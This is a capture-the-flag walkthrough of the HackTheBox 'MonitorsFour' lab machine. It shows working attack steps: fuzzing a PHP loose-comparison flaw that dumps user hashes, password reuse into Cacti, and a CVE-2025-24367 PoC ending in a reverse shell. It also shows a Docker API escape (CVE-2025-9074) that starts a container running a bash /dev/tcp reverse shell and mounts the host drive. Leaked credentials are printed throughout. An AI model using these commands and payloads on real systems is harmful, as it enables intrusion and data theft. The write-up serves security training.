1. RECON

1.1. Port Scan

$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack nginx
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

A "Linux" Styling setup.

1.2. Web App

MonitorsFour kicks off with a blast of déjà-vu — the interface mimics MonitorsThree:

htb_monitorsfour_1

No public registration. A password reset flow exists — likely a decoy — but it's limp: only a 302 redirect, no juicy verbose feedback:

htb_monitorsfour_2

1.3. Directory Fuzzing

Run dirsearch for URL directory fuzzing:

$ dirsearch -u 'http://monitorsfour.htb' -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266

Target: http://monitorsfour.htb/

[19:06:02] Scanning:
[19:06:18] 200 -    97B - /.env
[19:07:08] 403 -   548B - /admin/.htaccess
[19:07:37] 403 -   548B - /administrator/.htaccess
[19:07:45] 403 -   548B - /app/.htaccess
[19:08:12] 200 -   367B - /contact
[19:08:13] 403 -   548B - /controllers/
[19:08:54] 200 -    4KB - /login
[19:09:58] 301 -   162B - /static  ->  http://monitorsfour.htb/static/
[19:10:15] 200 -    35B - /user
[19:10:27] 301 -   162B - /views  ->  http://monitorsfour.htb/views/

Task Completed

The .env file seems straight forward:

$ curl -i http://monitorsfour.htb/.env
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:32:41 GMT
Content-Type: application/octet-stream
Content-Length: 97
Last-Modified: Sat, 13 Sep 2025 05:37:28 GMT
Connection: keep-alive
ETag: "68c50318-61"
Accept-Ranges: bytes

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

Visiting /user triggers a JSON error — API endpoint in play:

$ curl -i http://monitorsfour.htb/user
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:32:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=f3671561a83482ba654b48251150bb08; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

{"error":"Missing token parameter"}

/user?token=<JWT|API token> expected. Send garbage:

$ curl -i "http://monitorsfour.htb/user?token=AAAA"
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:35:10 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=c4892feaa57579316ec6eb3fb16caedb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

{"error":"Invalid or missing token"}

Token-based auth confirmed. We'll dig deeper once we know the logic behind token issuance.

1.4. Subdomains

Push beyond the main domain — ffuf uncovers more territory:

$ ffuf -c -u "http://monitorsfour.htb/" -H "Host: FUZZ.monitorsfour.htb" -w /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 3

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/
 :: Wordlist         : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 726ms]
:: Progress: [1437/19966] :: Job [1/1] :: 67 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

A new vector. Different subdomain, same theme. We're back in Cacti, like MonitorsThree — only this time, it's v1.2.28:

htb_monitorsfour_3

That subtle version bump renders the old RCE CVE-2024-25641 (1.2.26 in MonitorsThree) ineffective. Patching closed the previous hole, time to comb Cacti 1.2.28 changelogs.

2. WEB

We've got two login entries, no creds in hand. So we pivot: interrogate the system through its exposed APIs and look for logic leaks that spill something useful.

2.1. IDOR

The /user endpoint looks promising — it leaks user data based on a token parameter. The app is built in PHP, and the logic smells injectable.

2.1.1. Token validation logic

Initial probing of /user reveals a three-path branch.

Case 1 — No token param:

$ curl "http://monitorsfour.htb/user"
{"error":"Missing token parameter"}

So if $_GET['token'] is not set at all, backend complains: "Missing token parameter".

Case 2 — Dummy or empty token:

$ curl "http://monitorsfour.htb/user?token=AAAA"
{"error":"Invalid or missing token"}

$ curl "http://monitorsfour.htb/user?token="
{"error":"Invalid or missing token"}

Here, the token param is present — either filled with junk or left empty — but the backend still throws: "Invalid or missing token".

That implies the value is being evaluated, not just its presence — there's likely a first check for whether the parameter exists, and a second for whether its value is non-empty. Once it passes both, the input is compared against stored tokens.

A possible backend flow might look like:

PHP
if (!isset($_GET['token'])) {
    echo json_encode(["error" => "Missing token parameter"]);
    exit;
}

// Empty token
$token = $_GET['token'];
if ($token === "") {
    echo json_encode(["error" => "Invalid or missing token"]);
    exit;
}

// Fetch all users from DB
$users = $db->query("SELECT * FROM users")->fetchAll(PDO::FETCH_ASSOC);

// Check if any user has this token
$valid = false;
foreach ($users as $u) {
    if ($u['token'] === $token) {   // [!] validation
        $valid = true;
        break;
    }
}

if ($valid) {
    // Authorized: dump everything
    echo json_encode($users);
} else {
    // Wrong token
    echo json_encode(["error" => "Invalid or missing token"]);
}

Nothing inherently broken in above demo — unless there's some coding flaw (i.e. PHP type juggling). And this is a black-box scenario, so we don't trust the surface. Time to fuzz.

2.1.2. PHP loose comparison

We saw:

HTTP
X-Powered-By: PHP/8.3.27

For PHP, there are two reflexes we should train:

  1. Loose comparisons — devs love == instead of ===
  2. Type juggling — arrays, strings, and numbers all compared without checks

The token in our case is used for auth. If devs used loose comparison:

PHP
if ($u['token'] == $token) {  // loose comparison

…then the floodgates might just crack open. Reference: PayloadAllTheThings — Type Juggling

htb_monitorsfour_4

Any time we see PHP + token logic + weird error messages, we reach for muscle memory. This payload wordlist used for fuzzing:

php_loose_comparison.txt
0
1
-1
0e1234
00
0x0
0x1
null
NULL

true
false
[]
{}

Fuzz token with:

Bash
ffuf -c \
    -u "http://monitorsfour.htb/user?token=FUZZ" \
    -w /home/Axura/wordlists/Axura/php_loose_comparison.txt \
    -fw 4

Jackpot:

htb_monitorsfour_5

The backend folded — using loose comparison, so payloads like 0, 00, and 0e1234 get matched:

PHP
"0e543210987654321" == "0"			  // true
"0e543210987654321" == "00"			  // true
"0e999999999999999" == "0e1234"		// true

Time to extract everything:

Bash
curl -i "http://monitorsfour.htb/user?token=0e1234" | jq '.[]' > users.json

Results:

JSON
{
  "id": 2,
  "username": "admin",
  "email": "[email protected]",
  "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
  "role": "super user",
  "token": "8024b78f83f102da4f",
  "name": "Marcus Higgins",
  "position": "System Administrator",
  "dob": "1978-04-26",
  "start_date": "2021-01-12",
  "salary": "320800.00"
}
{
  "id": 5,
  "username": "mwatson",
  "email": "[email protected]",
  "password": "69196959c16b26ef00b77d82cf6eb169",
  "role": "user",
  "token": "0e543210987654321",
  "name": "Michael Watson",
  "position": "Website Administrator",
  "dob": "1985-02-15",
  "start_date": "2021-05-11",
  "salary": "75000.00"
}
{
  "id": 6,
  "username": "janderson",
  "email": "[email protected]",
  "password": "2a22dcf99190c322d974c8df5ba3256b",
  "role": "user",
  "token": "0e999999999999999",
  "name": "Jennifer Anderson",
  "position": "Network Engineer",
  "dob": "1990-07-16",
  "start_date": "2021-06-20",
  "salary": "68000.00"
}
{
  "id": 7,
  "username": "dthompson",
  "email": "[email protected]",
  "password": "8d4a7e7fd08555133e056d9aacb1e519",
  "role": "user",
  "token": "0e111111111111111",
  "name": "David Thompson",
  "position": "Database Manager",
  "dob": "1982-11-23",
  "start_date": "2022-09-15",
  "salary": "83000.00"
}

Plain MD5 hashes. Admin's hash cracks with rockyou.txt:

Creds
admin / wonderful1

Pop the login on http://monitorsfour.htb/login:

htb_monitorsfour_6

2.2. Cacti

2.2.1. Password Reusing

The MonitorsFour web app seems nothing but a data viewer — nothing execution-worthy. To gain actual RCE, we shift our crosshairs to the Cacti instance.

Trying admin / wonderful1 on http://cacti.monitorsfour.htb/cacti/index.php fails. But we know the real admin's name: Marcus Higgins. We take a shot:

Creds
marcus / wonderful1

Bingo:

htb_monitorsfour_7

2.2.2. Cacti 101

Cacti is a PHP-based network monitoring and graphing platform. It visualizes metrics from devices using SNMP and polling scripts.

Admins use it to:

  • Monitor network devices (routers, servers, switches)
  • Collect system performance stats
  • Generate time-series graphs
  • Run recurring commands via poller

In earlier versions, we used this exploit path. Now we're on Cacti 1.2.28 — patched for unauth paths, but still wide open post-login.

Once authenticated, Cacti has two key vectors for command execution:

MethodMechanismTriggerUsed by
Poller ExecutionScheduled shell execution via poller.phpTime schedule or manual triggerData source polling
Graph Rendering ExecutionRRDTool command-line rendering of graphsUser requests / graph JSONGraph Templates

Poller-based RCE — inject into device polling scripts:

htb_monitorsfour_9

Graph-based RCE — inject into graph templates that wrap around rrdtool calls:

htb_monitorsfour_10

We go with the second — Graph Template injection.

2.2.3. CVE-2025-24367

Inside the admin panel, we see 4 graphs already tied to the local host:

htb_monitorsfour_8

We confirm we can edit/add templates:

htb_monitorsfour_11

This gives us full control over fields that become RRDTool CLI arguments — which means we can hijack the shell command flow.

Rather than reinvent the payload chain, we use a fresh PoC released by the box author.

Exploit flow:

Flow Diagram
Authenticated session

Modify Graph Template

Inject system command into rrdtool args

Force Cacti to write a PHP payload to webroot

Hit PHP file → Reverse shell trigger

Deploy:

Bash
# Clone exploit repo
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC

# Listener
nc -lnvp 60001

# Launch attack
python exploit.py \
    -u marcus -p wonderful1 \
    -url http://cacti.monitorsfour.htb \
    -i $attackerIp -l 60001

Shell lands:

htb_monitorsfour_12

We breach the container — user: www-data.

While inside, we validate our earlier hunch. The vulnerable token comparison is real — loose comparison confirmed:

PHP
public function validate_token($token): bool
{
 $query = "SELECT token FROM users";
 $stmt  = $this->db->query($query);
 $tokens = $stmt->fetchAll(PDO::FETCH_COLUMN);

 foreach ($tokens as $db_token) {
     if ($token == $db_token) {  // [!] use "==" instead of "==="
         return true;
     }
 }

 return false;

3. USER

We pivot into the container and immediately pull user context. From /etc/passwd:

/etc/passed
marcus:x:1000:1000::/home/marcus:/bin/bash

The user marcus exists and owns a real shell. That's our next privilege target.

Check home perms:

www-data@821fbd6a43fa:~/html/cacti$ ls -l /home
drwxr-xr-x 1 marcus marcus 4096 Dec  7 02:28 marcus

www-data@821fbd6a43fa:~/html/cacti$ ls -l /home/marcus
-r-xr-xr-x 1 root root 34 Dec  7 02:26 user.txt

Readable by all. Just grab the user flag.

4. ROOT

4.1. Topology

We start by identifying the local topology — understanding how services resolve and communicate within this segmented environment.

Check hostname resolution:

www-data@821fbd6a43fa:~$ getent hosts mariadb
172.18.0.2      mariadb

This confirms:

  • mariadb is not a global hostname, but a Docker-internal service
  • Resolved IP 172.18.0.2 sits on a Docker bridge network

Confirm our own IP:

www-data@821fbd6a43fa:~$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever
2: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether aa:9a:ed:9c:64:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Check routing:

www-data@821fbd6a43fa:~$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.3

From this, we map the Docker subnet:

  • Container (Cacti)172.18.0.3
  • MariaDB container172.18.0.2
  • Bridge gateway172.18.0.1 (host-side of Docker bridge)

This places us on a Docker bridge network at 172.18.0.0/16.

Now peek into how DNS is being handled inside the container:

/etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal

Key intel:

  • 127.0.0.11 is Docker's internal container-side DNS proxy.
  • External DNS queries are forwarded to 192.168.65.7 — this is the host-side resolver, likely within WSL2's bridge.

Conclusion: we are not inside WSL directly — we're inside a Docker container, bridged under WSL2, which is hosted on the Windows target.

Resulting stack layout:

Flow Diagram
Windows Host (Target)

└── WSL2 VM              [IP: 192.168.65.7]
    
    └── Docker Host
        
        ├── Cacti Container       [IP: 172.18.0.3]
        └── MariaDB Container     [IP: 172.18.0.2]

192.168.65.7 acts as the virtual interface Docker uses inside WSL2.

4.2. Internal Scanning

Docker's internal resolver (127.0.0.11) lists 192.168.65.7 as its upstream — a host-side resolver, sitting just beyond the container boundary.

To scan it properly, we upload fscan and sweep the entire port range:

www-data@821fbd6a43fa:/tmp$ ./fscan -h 192.168.65.7 -p 1-65535

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
192.168.65.7:53 open
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://192.168.65.7:2375  code:404 len:29     title:None
[*] WebTitle http://192.168.65.7:5555  code:200 len:0      title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leak

The scanner's screaming — and rightfully so:

Port 2375 is open and exposing the Docker Remote API without auth.

4.3. Docker Escape

4.3.1. Docker Unauth API

Port 2375 is the Docker Remote API over HTTP — unauthenticated, unrestricted, and catastrophically powerful.

Docker's architecture breaks cleanly into two layers:

Flow Diagram
[ Client (docker command) ]
            ↓ (API requests)
[ Docker Daemon (dockerd) ]

The CLI (docker run, docker ps, etc.) doesn't magically "run containers". It sends REST API calls to dockerd (the real engine).

That API can be exposed three ways:

TransportDefault PortSecurity
Unix Socket/var/run/docker.sockLocal only, permission-controlled
TCP (HTTP)2375UNAUTHENTICATED → Extremely Dangerous
TCP (HTTPS)2376mTLS authentication (secure)

On Linux, 2375 is disabled by default — everything runs through the UNIX socket.

But if it's open?It's game over.

4.3.2. Docker Desktop Misconfiguration

Here's where it gets insidious: in Docker Desktop for Windows/macOS, even if the "Expose daemon on tcp://localhost:2375" box is unchecked, the internal bridge 192.168.65.7:2375 is still wide open to containers.

That means any container — like the one we popped — can talk to the host Docker Engine with full privileges, mount disks, create containers, or even overwrite the host filesystem.

This behavior is not just misconfiguration — it's a design oversight with real-world consequences.

The issue has been assigned a Critical (CVSS 9.3) score and is tracked under CVE-2025-9074.

We confirm remote API access directly:

www-data@821fbd6a43fa:~$ curl http://192.168.65.7:2375/version

{
  "Version": "28.3.2",
  "ApiVersion": "1.51",
  "Os": "linux",
  "KernelVersion": "6.6.87.2-microsoft-standard-WSL2",
  ...
}

We don't concern its version, either enabled by default or manually, as long as the APIs are accessible. No TLS. No auth. No restrictions.

4.3.3. CVE-2025-9074

To exploit the exposed Docker API, we mirror the PoC from When a SSRF is enough: Full Docker Escape on Windows Docker Desktop (CVE-2025-9074).

In unpatched Docker Desktop for Windows, any container can:

  • Connect to http://192.168.65.7:2375/ without auth
  • Spin up a privileged container
  • Mount the host's C:\ drive into that container
  • Execute commands with full access to Windows

The PoC is literally two HTTP POSTs from inside a container:

  1. POST /containers/create with:
    • "Image": "alpine"
    • "HostConfig": { "Binds": ["/mnt/host/c:/host_root"] }
    • "Cmd": ["sh","-c","echo pwned > /host_root/pwn.txt"]
  2. POST /containers/{id}/start to launch it.

We adapt this to MonitorsFour.

Step 1: Enumerate local Docker images

Since HTB boxes can't pull images externally, we query for local ones:

Bash
curl -s http://192.168.65.7:2375/images/json

Output:

JSON
{
  "Containers": 1,
  "Created": 1762794130,
  "Id": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
  "Labels": {
    "com.docker.compose.project": "docker_setup",
    "com.docker.compose.service": "nginx-php",
    "com.docker.compose.version": "2.39.1"
  },
  "ParentId": "",
  "Descriptor": {
    "mediaType": "application/vnd.oci.image.index.v1+json",
    "digest": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
    "size": 856
  },
  "RepoDigests": [
    "docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"
  ],
  "RepoTags": [
    "docker_setup-nginx-php:latest"
  ],
  "SharedSize": -1,
  "Size": 1277167255
}
{
  "Containers": 1,
  "Created": 1762791053,
  "Id": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
  "Labels": {
    "com.docker.compose.project": "docker_setup",
    "com.docker.compose.service": "mariadb",
    "com.docker.compose.version": "2.39.1",
    "org.opencontainers.image.authors": "MariaDB Community",
    "org.opencontainers.image.base.name": "docker.io/library/ubuntu:noble",
    "org.opencontainers.image.description": "MariaDB Database for relational SQL",
    "org.opencontainers.image.documentation": "https://hub.docker.com/_/mariadb/",
    "org.opencontainers.image.licenses": "GPL-2.0",
    "org.opencontainers.image.ref.name": "ubuntu",
    "org.opencontainers.image.source": "https://github.com/MariaDB/mariadb-docker",
    "org.opencontainers.image.title": "MariaDB Database",
    "org.opencontainers.image.url": "https://github.com/MariaDB/mariadb-docker",
    "org.opencontainers.image.vendor": "MariaDB Community",
    "org.opencontainers.image.version": "11.4.8"
  },
  "ParentId": "",
  "Descriptor": {
    "mediaType": "application/vnd.oci.image.index.v1+json",
    "digest": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
    "size": 856
  },
  "RepoDigests": [
    "docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"
  ],
  "RepoTags": [
    "docker_setup-mariadb:latest"
  ],
  "SharedSize": -1,
  "Size": 454269972
}
{
  "Containers": 1,
  "Created": 1759921496,
  "Id": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
  "Labels": null,
  "ParentId": "",
  "Descriptor": {
    "mediaType": "application/vnd.oci.image.index.v1+json",
    "digest": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
    "size": 9218
  },
  "RepoDigests": [
    "alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"
  ],
  "RepoTags": [
    "alpine:latest"
  ],
  "SharedSize": -1,
  "Size": 12794775
}

Reveals:

  • docker_setup-nginx-php:latest
  • docker_setup-mariadb:latest
  • alpine:latest

We'll avoid alpine — too minimal without common binaries. We go with the PHP image for its utility.

Step 2: Create a host-mounted container

From our www-data shell inside the container, querying over /containers/create API:

Bash
# @docker
cd /tmp

# Ask Docker to create a new Alpine container,
# mounting the host's C: drive under /host_root
curl -H 'Content-Type: application/json' \
  -d '{
    "Image": "docker_setup-nginx-php:latest",
    "Cmd": ["/bin/bash","-c","bash -i >& /dev/tcp/10.10.13.19/60002 0>&1"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/host_root"]
    }
  }' \
  -o create.json \
  http://192.168.65.7:2375/containers/create

Then grab the container ID:

Bash
# retrieve container ID
cid=$(grep -o '"Id":"[^"]*"' create.json | cut -d'"' -f4)
htb_monitorsfour_13

Step 3: Start the container

Start up the container via /containers/<container_id>/start API:

Bash
# @attacker
nc -lnvp 60002

# @container
curl -d '' "http://192.168.65.7:2375/containers/$cid/start"

# If it fails, debug:
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=1&stderr=1"

And with that — shell lands.

htb_monitorsfour_14

We're now inside a privileged container, mounting the host's C:.

4.3.4.Container Escape to Windows Host

This isn't just a container escape. This is full cross-layer privilege escalation through Docker-on-WSL.

The architecture stacks like this:

Flow Diagram
📦 Cacti (Docker Container, 172.18.x.x)
        ↓ via Docker API 2375 escape
🐳 Docker Engine inside WSL2
        ↓ privileged bind-mount of host `/`
🐧 WSL2 Linux VM (root filesystem `/`)
        ↓ Windows filesystem passthrough
🚩 Windows NTFS Host (C:\)

We issued:

JSON
"HostConfig": {
  "Binds": ["/:/host_root"]
}

Docker complied — mounting the entire WSL2 rootfs into /host_root. And under WSL2, that rootfs includes a passthrough to C:\.

Root inside this privileged container = root inside WSL2 = access to Windows filesystem

Grab the flag from C:\ directly:

htb_monitorsfour_15

Rooted


5. APPENDIX

5.1. Cacti DB

From /var/www/html/cacti/include/config.php, we extract hardcoded database credentials:

PHP
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'mariadb';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_port     = '3306';

Connect to the Cacti DB (non-interactive):

Bash
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
      -D cacti \
      -sN \
      -e 'SHOW TABLES;'

Key Tables:

  • user_auth → Cacti users + hashed passwords
  • host → monitored machines

Cacti Users – user_auth:

Bash
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
      -D cacti \
      -sN \
      -e 'SELECT id,username,realm,full_name,password FROM user_auth;'

Output:

MySql: cacti->users
1       admin   0       Administrator   $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO
3       guest   0       Guest Account   43e9a4ab75570f5b
4       marcus  0       Marcus Haynes   $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGe
  • admin and marcus (we owned) use bcrypt ($2y$10$…) — expensive to crack
  • guest uses an old unsalted hash (likely plaintext MD5) — trivial but not useful

Inspect monitored Hosts – host:

Bash
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
      -D cacti \
      -sN \
      -e 'SELECT id,description,hostname,notes FROM host;'

Result:

MySql: cacti->host
1       Local Linux Machine     localhost       Initial Cacti Device

Only one entry — a local poller. No insight or link to the Windows host via SNMP or agent.